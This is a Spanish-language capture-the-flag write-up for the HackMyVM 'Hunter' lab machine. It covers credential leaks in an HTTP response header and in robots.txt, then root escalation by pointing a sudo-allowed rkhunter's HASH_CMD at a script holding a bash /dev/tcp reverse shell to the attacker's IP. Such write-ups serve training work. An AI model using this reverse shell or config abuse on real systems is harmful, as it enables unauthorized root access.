cd ~/blog

~/writeups/hmv/143-hunter.md

143 - Hunter

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential Disclosure mediante HTTP Response HeaderCleartext Credential Disclosure en robots.txtSudo-Allowed Program Abuse mediante rkhunter
hackmyvm.eu/machines/machine.php?vm=Hunter

~1 min de lectura


Enumeración y exposición de credenciales

Enumeramos puertos (servidor web en Go):

❯ nmap -sCV -p 22,8080 -oN 02-targeted.txt 10.33.31.195
...
22/tcp   open  ssh     OpenSSH 10.0 (protocol 2.0)
8080/tcp open  http    Golang net/http server
| http-robots.txt: 1 disallowed entry
|_/admin
...

La ruta /admin responde Invalid JWT ante una solicitud GET. Al repetirla como POST, el servidor devuelve HTTP 200 y expone un par de credenciales en X-Secret-Creds. El cambio de método no evade un JWT válido; alcanza una rama distinta del manejador que filtra el secreto en una cabecera de respuesta:

POST /admin HTTP/1.1
Host: 10.33.31.195:8080
...

HTTP/1.1 200 OK
X-Secret-Creds: hunterman:thisisnitriilcisi
...

Las credenciales permiten entrar por SSH como hunterman en Alpine y obtener la primera flag. El archivo local /var/www/html/robots.txt contiene en texto claro otro par de credenciales. Aunque robots.txt suele orientar rastreadores web, no protege los datos que contiene; utilizamos el segundo par con su para cambiar a huntergirl:

hunter:/var/www/html$ cat robots.txt
h u n t e r g i r l:fickshitmichini

hunter:/home$ su huntergirl
Password: fickshitmichini
/home $

Escalada mediante la configuración de rkhunter

Revisamos sudo -l:

~ $ sudo -l
...
User huntergirl may run the following commands on hunter:
    (root) NOPASSWD: /usr/local/bin/rkhunter

La regla permite ejecutar rkhunter como root sin restringir sus argumentos. Su opción --configfile acepta una configuración controlada, y HASH_CMD define el comando que utilizará durante --propupd. Este abuso de un programa autorizado por sudo hace que rkhunter invoque nuestra ruta con privilegios. Creamos un script de reverse shell y lo seleccionamos como HASH_CMD:

/tmp $ cat pwned.sh
/bin/bash -c 'bash -i >& /dev/tcp/10.33.31.35/4444 0>&1'
/tmp $ chmod +x pwned.sh

/tmp $ cat > /tmp/pwned.conf << EOF
INSTALLDIR=/usr/local
TMPDIR=/var/lib/rkhunter/tmp
DBDIR=/var/lib/rkhunter/db
SCRIPTDIR=/usr/local/lib/rkhunter/scripts
LOGFILE=/var/log/rkhunter.log
HASH_CMD=/tmp/pwned.sh
EOF

/tmp $ sudo /usr/local/bin/rkhunter --configfile /tmp/pwned.conf --propupd
[ Rootkit Hunter version 1.4.6 ]

Recibimos la shell de root:

hunter:/tmp# whoami
root

La salida de whoami confirma que el comando configurado se ejecutó como root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados